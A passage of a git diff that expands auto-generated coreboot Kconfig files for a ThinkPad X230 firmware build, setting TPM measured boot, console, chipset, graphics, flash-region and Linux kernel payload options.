+CONFIG_HAVE_USBDEBUG=y +CONFIG_HAVE_USBDEBUG_OPTIONS=y CONFIG_USBDEBUG=y +CONFIG_USBDEBUG_IN_PRE_RAM=y +CONFIG_USBDEBUG_DEFAULT_PORT=0 +CONFIG_USBDEBUG_DONGLE_STD=y +# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set +# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set +# CONFIG_USBDEBUG_DONGLE_WCH_CH347 is not set +CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 +# CONFIG_VPD is not set +# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +# CONFIG_DRIVERS_I2C_MAX98396 is not set +CONFIG_INTEL_INT15=y +CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" +CONFIG_GFX_GMA=y +CONFIG_GFX_GMA_DYN_CPU=y +CONFIG_GFX_GMA_GENERATION="Ironlake" +CONFIG_GFX_GMA_PCH="Cougar_Point" +CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" +CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set CONFIG_DRIVERS_PS2_KEYBOARD=y +CONFIG_DRIVERS_MC146818=y +CONFIG_USE_PC_CMOS_ALTCENTURY=y +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 +CONFIG_MEMORY_MAPPED_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +CONFIG_DRIVERS_RICOH_RCE822=y +# CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +CONFIG_VBOOT_LIB=y +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +# CONFIG_NO_TPM is not set +CONFIG_TPM1=y +CONFIG_TPM=y +CONFIG_MAINBOARD_HAS_TPM1=y +# CONFIG_TPM_DEACTIVATE is not set +# CONFIG_DEBUG_TPM is not set +# CONFIG_TPM_RDRESP_NEED_DELAY is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y +CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 +CONFIG_PCR_RUNTIME_DATA=3 +# end of Trusted Platform Module + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# end of Memory initialization + +# CONFIG_INTEL_TXT is not set +# CONFIG_STM is not set +# CONFIG_BOOTMEDIA_LOCK_NONE is not set CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y +# CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is not set +# CONFIG_BOOTMEDIA_SMM_BWP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y +CONFIG_RTC=y + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y +CONFIG_POSTCAR_CONSOLE=y +CONFIG_SQUELCH_EARLY_SMP=y +# CONFIG_SPKMODEM is not set +CONFIG_CONSOLE_USB=y +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set +# CONFIG_CONSOLE_SPI_FLASH is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +CONFIG_HWBASE_DEBUG_CB=y +# end of Console + +CONFIG_HAVE_ACPI_RESUME=y +CONFIG_RESUME_PATH_SAME_AS_BOOT=y +CONFIG_HAVE_MONOTONIC_TIMER=y +CONFIG_HAVE_OPTION_TABLE=y +CONFIG_IOAPIC=y +CONFIG_USE_WATCHDOG_ON_BOOT=y + +# +# System tables +# +CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_SMBIOS_PROVIDED_BY_MOBO=y +CONFIG_BIOS_VENDOR="coreboot" +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BOOTBOOT is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_SEAGRUB is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set +# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set +# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# +# CONFIG_DISPLAY_MTRRS is not set + +# +# Vendorcode Debug Settings +# + +# +# BLOB Debug Settings +# + +# +# General Debug Settings +# +# CONFIG_FATAL_ASSERTS is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_RAM_SETUP=y +# CONFIG_DEBUG_RAM_SETUP is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +CONFIG_HAVE_EM100_SUPPORT=y +# CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set +# end of Debugging + +CONFIG_RAMSTAGE_ADA=y +CONFIG_RAMSTAGE_LIBHWBASE=y +CONFIG_HWBASE_DYNAMIC_MMIO=y +CONFIG_HWBASE_DEFAULT_MMCONF=0xf0000000 +CONFIG_HWBASE_DIRECT_PCIDEV=y +CONFIG_DECOMPRESS_OFAST=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_RELOCATABLE_MODULES=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-x230-maximized.config b/config/coreboot-x230-maximized.config index 36f41862e..8d238b7fe 100644 --- a/config/coreboot-x230-maximized.config +++ b/config/coreboot-x230-maximized.config @@ -1,33 +1,710 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +CONFIG_ARCH_SUPPORTS_CLANG=y +# CONFIG_ANY_TOOLCHAIN is not set +# CONFIG_CCACHE is not set +# CONFIG_IWYU is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +CONFIG_OPTION_BACKEND_NONE=y +# CONFIG_USE_OPTION_TABLE is not set +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y CONFIG_TIMESTAMPS_ON_CONSOLE=y # CONFIG_USE_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_HAVE_ASAN_IN_RAMSTAGE=y +# CONFIG_ASAN is not set +# CONFIG_NO_STAGE_CACHE is not set +CONFIG_TSEG_STAGE_CACHE=y +# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set +# CONFIG_FW_CONFIG is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_CLEVO is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_DELL is not set +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set +# CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set +# CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_UP is not set +CONFIG_BOARD_SPECIFIC_OPTIONS=y +CONFIG_MAINBOARD_FAMILY="ThinkPad X230" +CONFIG_MAINBOARD_PART_NUMBER="ThinkPad X230" +CONFIG_MAINBOARD_VERSION="1.0" +CONFIG_MAINBOARD_DIR="lenovo/x230" +CONFIG_VGA_BIOS_ID="8086,0166" +CONFIG_DIMM_MAX=4 +CONFIG_DIMM_SPD_SIZE=256 +CONFIG_FMDFILE="" CONFIG_NO_POST=y +CONFIG_MAINBOARD_VENDOR="LENOVO" CONFIG_CBFS_SIZE=0xBE4FFF +CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 +CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 +CONFIG_MAX_CPUS=8 CONFIG_ONBOARD_VGA_IS_PRIMARY=y +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set +CONFIG_VARIANT_DIR="x230" +CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" +# CONFIG_VGA_BIOS is not set +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" +CONFIG_DRAM_RESET_GATE_GPIO=10 +CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" +CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" +CONFIG_USBDEBUG_HCD_INDEX=2 +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 +CONFIG_TPM_PIRQ=0x0 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +CONFIG_DCACHE_RAM_BASE=0xfefe0000 +CONFIG_DCACHE_RAM_SIZE=0x20000 +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 +CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 +CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 +CONFIG_HAVE_INTEL_FIRMWARE=y +CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 +CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y +CONFIG_SPI_FLASH_WINBOND=y +CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx30/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx30/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx30/gbe.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_DEBUG_SMI is not set +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad X230" CONFIG_HAVE_IFD_BIN=y +CONFIG_PCIEXP_HOTPLUG_BUSES=8 +CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 +# CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set +# CONFIG_BOARD_LENOVO_THINKPAD_W541 is not set +# CONFIG_BOARD_LENOVO_L520 is not set +# CONFIG_BOARD_LENOVO_S230U is not set +# CONFIG_BOARD_LENOVO_T400 is not set +# CONFIG_BOARD_LENOVO_T500 is not set +# CONFIG_BOARD_LENOVO_R400 is not set +# CONFIG_BOARD_LENOVO_R500 is not set +# CONFIG_BOARD_LENOVO_W500 is not set +# CONFIG_BOARD_LENOVO_T410 is not set +# CONFIG_BOARD_LENOVO_T420 is not set +# CONFIG_BOARD_LENOVO_T420S is not set +# CONFIG_BOARD_LENOVO_THINKPAD_T430 is not set +# CONFIG_BOARD_LENOVO_T430S is not set +# CONFIG_BOARD_LENOVO_T431S is not set +# CONFIG_BOARD_LENOVO_T520 is not set +# CONFIG_BOARD_LENOVO_W520 is not set +# CONFIG_BOARD_LENOVO_T530 is not set +# CONFIG_BOARD_LENOVO_W530 is not set +# CONFIG_BOARD_LENOVO_T60 is not set +# CONFIG_BOARD_LENOVO_Z61T is not set +# CONFIG_BOARD_LENOVO_R60 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set +# CONFIG_BOARD_LENOVO_X131E is not set +# CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set +# CONFIG_BOARD_LENOVO_X200 is not set +# CONFIG_BOARD_LENOVO_X301 is not set +# CONFIG_BOARD_LENOVO_X201 is not set +# CONFIG_BOARD_LENOVO_X220 is not set +# CONFIG_BOARD_LENOVO_X220I is not set +# CONFIG_BOARD_LENOVO_X1 is not set CONFIG_BOARD_LENOVO_X230=y +# CONFIG_BOARD_LENOVO_X230T is not set +# CONFIG_BOARD_LENOVO_X230S is not set +# CONFIG_BOARD_LENOVO_X230_EDP is not set +# CONFIG_BOARD_LENOVO_X60 is not set +CONFIG_VBOOT_SLOTS_RW_AB=y +CONFIG_DRIVER_LENOVO_SERIALS=y +CONFIG_PS2K_EISAID="PNP0303" +CONFIG_PS2M_EISAID="LEN0020" +CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" +CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y +# CONFIG_PCIEXP_L1_SUB_STATE is not set +# CONFIG_PCIEXP_CLK_PM is not set +# CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" +CONFIG_BOARD_ROMSIZE_KB_12288=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +CONFIG_COREBOOT_ROMSIZE_KB_12288=y +# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=12288 +CONFIG_ROM_SIZE=0x00c00000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y +# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 +# end of Mainboard + +CONFIG_SYSTEM_TYPE_LAPTOP=y + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="northbridge/intel/sandybridge/chipset.cb" +CONFIG_CBFS_MCACHE_SIZE=0x4000 +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_SMM_TSEG_SIZE=0x800000 +CONFIG_SMM_RESERVED_SIZE=0x100000 +CONFIG_SMM_MODULE_STACK_SIZE=0x400 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_SERIRQ_CONTINUOUS_MODE=y +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 +CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" +CONFIG_STACK_SIZE=0x2000 +CONFIG_IED_REGION_SIZE=0x400000 +CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 +CONFIG_INTEL_GMA_BCLV_WIDTH=16 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 +CONFIG_INTEL_GMA_BCLM_WIDTH=16 +CONFIG_BOOTBLOCK_IN_CBFS=y +CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 +CONFIG_HPET_MIN_TICKS=0x80 +CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 +CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 +CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 + +# +# CPU +# +CONFIG_CPU_INTEL_MODEL_206AX=y +CONFIG_CPU_INTEL_COMMON=y +CONFIG_ENABLE_VMX=y +CONFIG_SET_IA32_FC_LOCK_BIT=y +CONFIG_SET_MSR_AESNI_LOCK_BIT=y +CONFIG_CPU_INTEL_COMMON_TIMEBASE=y +CONFIG_CPU_INTEL_COMMON_SMM=y +CONFIG_MICROCODE_UPDATE_PRE_RAM=y +CONFIG_PARALLEL_MP=y +CONFIG_XAPIC_ONLY=y +# CONFIG_X2APIC_ONLY is not set +# CONFIG_X2APIC_RUNTIME is not set +# CONFIG_X2APIC_LATE_WORKAROUND is not set +CONFIG_UDELAY_TSC=y +CONFIG_TSC_MONOTONIC_TIMER=y +CONFIG_TSC_SYNC_MFENCE=y +CONFIG_HAVE_SMI_HANDLER=y +CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_AP_STACK_SIZE=0x800 +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SSE2=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y +CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set +# CONFIG_CPU_MICROCODE_CBFS_NONE is not set + +# +# Northbridge +# +CONFIG_USE_NATIVE_RAMINIT=y +CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y +# CONFIG_NATIVE_RAMINIT_IGNORE_MAX_MEM_FUSES is not set +# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_MAX_DIMMS is not set +# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_REQUESTED_VOLTAGE is not set +# CONFIG_RAMINIT_ALWAYS_ALLOW_DLL_OFF is not set # CONFIG_RAMINIT_ENABLE_ECC is not set + +# +# Southbridge +# +CONFIG_SOUTHBRIDGE_INTEL_BD82X6X_COMMON=y +CONFIG_SOUTHBRIDGE_INTEL_C216=y +# CONFIG_HIDE_MEI_ON_ERROR is not set +CONFIG_PCIEXP_HOTPLUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMCLIB=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_ME=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_EARLY_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI_ICH9=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y +CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set # CONFIG_INTEL_CHIPSET_LOCKDOWN is not set +CONFIG_TCO_SPACE_NOT_YET_SPLIT=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_WATCHDOG=y +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# + +# +# Embedded Controllers +# +CONFIG_EC_ACPI=y +CONFIG_EC_LENOVO_H8=y +CONFIG_H8_BEEP_ON_DEATH=y +CONFIG_H8_FLASH_LEDS_ON_DEATH=y +# CONFIG_H8_SUPPORT_BT_ON_WIFI is not set +# CONFIG_H8_FN_CTRL_SWAP is not set +CONFIG_H8_HAS_BAT_THRESHOLDS_IMPL=y +CONFIG_EC_LENOVO_PMH7=y + +# +# Intel Firmware +# CONFIG_HAVE_ME_BIN=y +# CONFIG_STITCH_ME_BIN is not set +# CONFIG_CHECK_ME is not set +# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set +# CONFIG_USE_ME_CLEANER is not set +CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y CONFIG_HAVE_GBE_BIN=y +# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set +# CONFIG_LOCK_MANAGEMENT_ENGINE is not set +CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +CONFIG_ARCH_POSTCAR_X86_32=y +CONFIG_ARCH_RAMSTAGE_X86_32=y +CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_HAVE_EXP_X86_64_SUPPORT=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y +CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 +CONFIG_PC80_SYSTEM=y +CONFIG_HAVE_CMOS_DEFAULT=y +CONFIG_POSTCAR_STAGE=y +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_HAVE_CF9_RESET=y +CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set +# end of Chipset + +# +# Devices +# +CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y +CONFIG_HAVE_LINEAR_FRAMEBUFFER=y +CONFIG_MAINBOARD_HAS_LIBGFXINIT=y +CONFIG_MAINBOARD_USE_LIBGFXINIT=y +# CONFIG_VGA_ROM_RUN is not set +# CONFIG_NO_GFX_INIT is not set +CONFIG_NO_EARLY_GFX_INIT=y + +# +# Display +# +# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y +CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 +# end of Display + +CONFIG_PCI=y +CONFIG_ECAM_MMCONF_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y +CONFIG_PCIEXP_PLUGIN_SUPPORT=y 